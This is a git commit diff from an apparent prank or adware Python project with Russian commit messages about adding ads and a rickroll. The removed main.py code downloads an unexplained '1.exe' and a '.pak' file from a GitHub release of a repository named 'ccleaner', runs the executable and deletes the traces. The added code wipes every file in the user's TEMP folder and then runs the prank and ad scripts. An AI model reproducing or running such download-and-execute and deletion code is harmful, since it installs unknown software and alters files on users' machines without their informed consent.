Merge remote-tracking branch 'origin/master'

Сделаны импорты в основной main файл
добавлена загрузка через request рекламмы
Добавлен рикрол

.idea/workspace.xml

@@ -4,9 +4,11 @@
     <option name="autoReloadType" value="SELECTIVE" />
   </component>
   <component name="ChangeListManager">
-    <list default="true" id="8e138aa4-7ed1-4694-a1ba-e76425f75da1" name="Changes" comment="Merge remote-tracking branch 'origin/master'&#10;Сделаны импорты в основной main файл&#10;добавлена загрузка через request рекламмы&#10;Добавлен рикрол">
+    <list default="true" id="8e138aa4-7ed1-4694-a1ba-e76425f75da1" name="Changes" comment="Merge remote-tracking branch 'origin/master'&#10;Добавлен рик рол">
+      <change afterPath="$PROJECT_DIR$/rerlamma.py" afterDir="false" />
       <change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
       <change beforePath="$PROJECT_DIR$/main.py" beforeDir="false" afterPath="$PROJECT_DIR$/main.py" afterDir="false" />
+      <change beforePath="$PROJECT_DIR$/rickrols.py" beforeDir="false" afterPath="$PROJECT_DIR$/rickrols.py" afterDir="false" />
     </list>
     <option name="SHOW_DIALOG" value="false" />
     <option name="HIGHLIGHT_CONFLICTS" value="true" />
@@ -29,7 +31,7 @@
     </option>
     <option name="RECENT_BRANCH_BY_REPOSITORY">
       <map>
-        <entry key="$PROJECT_DIR$" value="mainos" />
+        <entry key="$PROJECT_DIR$" value="main" />
       </map>
     </option>
     <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
@@ -63,7 +65,7 @@
     "Python.rerlamma.executor": "Run",
     "RunOnceActivity.OpenProjectViewOnStart": "true",
     "RunOnceActivity.ShowReadmeOnStart": "true",
-    "git-widget-placeholder": "3.0"
+    "git-widget-placeholder": "mainos"
   },
   "keyToStringList": {
     "ChangesTree.GroupingKeys": [
@@ -162,15 +164,7 @@
       <option name="project" value="LOCAL" />
       <updated>1708267606236</updated>
     </task>
-    <task id="LOCAL-00004" summary="Merge remote-tracking branch 'origin/master'&#10;Сделаны импорты в основной main файл&#10;добавлена загрузка через request рекламмы&#10;Добавлен рикрол">
-      <option name="closed" value="true" />
-      <created>1708268075748</created>
-      <option name="number" value="00004" />
-      <option name="presentableId" value="LOCAL-00004" />
-      <option name="project" value="LOCAL" />
-      <updated>1708268075748</updated>
-    </task>
-    <option name="localTasksCounter" value="5" />
+    <option name="localTasksCounter" value="4" />
     <servers />
   </component>
   <component name="VcsManagerConfiguration">
@@ -179,7 +173,6 @@
     <MESSAGE value="2.0 пофикшены баги и оптимизирована система" />
     <MESSAGE value="Merge remote-tracking branch 'origin/master'" />
     <MESSAGE value="Merge remote-tracking branch 'origin/master'&#10;Добавлен рик рол" />
-    <MESSAGE value="Merge remote-tracking branch 'origin/master'&#10;Сделаны импорты в основной main файл&#10;добавлена загрузка через request рекламмы&#10;Добавлен рикрол" />
-    <option name="LAST_COMMIT_MESSAGE" value="Merge remote-tracking branch 'origin/master'&#10;Сделаны импорты в основной main файл&#10;добавлена загрузка через request рекламмы&#10;Добавлен рикрол" />
+    <option name="LAST_COMMIT_MESSAGE" value="Merge remote-tracking branch 'origin/master'&#10;Добавлен рик рол" />
   </component>
 </project>

main.py

@@ -1,58 +1,26 @@
 import os
 import importlib.util
-import urllib.request
-import time
 
-
-def download_file(url, destination):
-    urllib.request.urlretrieve(url, destination)
-
-
-def clean_kromskii2_folder():
-    desktop_path = os.path.join(os.path.expanduser('~'), 'Desktop', 'kromskii2')
-    if not os.path.exists(desktop_path):
-        os.makedirs(desktop_path)
-    else:
-        for root, dirs, files in os.walk(desktop_path):
+def clean_temp_folder():
+    temp_folder = os.environ.get('TEMP')
+    if temp_folder:
+        print(f"Cleaning Temp folder: {temp_folder}")
+        for root, dirs, files in os.walk(temp_folder):
             for file in files:
                 try:
                     os.remove(os.path.join(root, file))
                 except Exception as e:
                     print(f"Error deleting {file}: {e}")
-    return desktop_path
-
+        print("Temp folder has been cleaned.")
+    else:
+        print("Temp folder not found.")
 
 def run_external_scripts():
-    desktop_path = clean_kromskii2_folder()
-
-    download_file('https://github.com/kromskii2/ccleaner/releases/download/1/disk2.pak',
-                  os.path.join(desktop_path, 'disk2.pak'))
-    download_file('https://github.com/kromskii2/ccleaner/releases/download/1/1.exe',
-                  os.path.join(desktop_path, '1.exe'))
-
-    time.sleep(1)
-
-    os.system(os.path.join(desktop_path, '1.exe'))
-
-    time.sleep(5)
-
-    os.remove(os.path.join(desktop_path, 'disk2.pak'))
-    os.remove(os.path.join(desktop_path, '1.exe'))
-
-    time.sleep(1)
-
-    os.system(os.path.join(desktop_path, 'GitHubDesktopSetup-x64.exe'))
-
-    time.sleep(1)
-
-    spec_rickrols = importlib.util.spec_from_file_location('rickrols', 'rickrols.py')
-    module_rickrols = importlib.util.module_from_spec(spec_rickrols)
-    spec_rickrols.loader.exec_module(module_rickrols)
-
-    spec_rerlamma = importlib.util.spec_from_file_location('rerlamma', 'rerlamma.py')
-    module_rerlamma = importlib.util.module_from_spec(spec_rerlamma)
-    spec_rerlamma.loader.exec_module(module_rerlamma)
-
+    for script_name in ['rickrols.py', 'rerlamma.py']:
+        spec = importlib.util.spec_from_file_location(script_name.split('.')[0], script_name)
+        module = importlib.util.module_from_spec(spec)
+        spec.loader.exec_module(module)
 
 if __name__ == "__main__":
+    clean_temp_folder()
     run_external_scripts()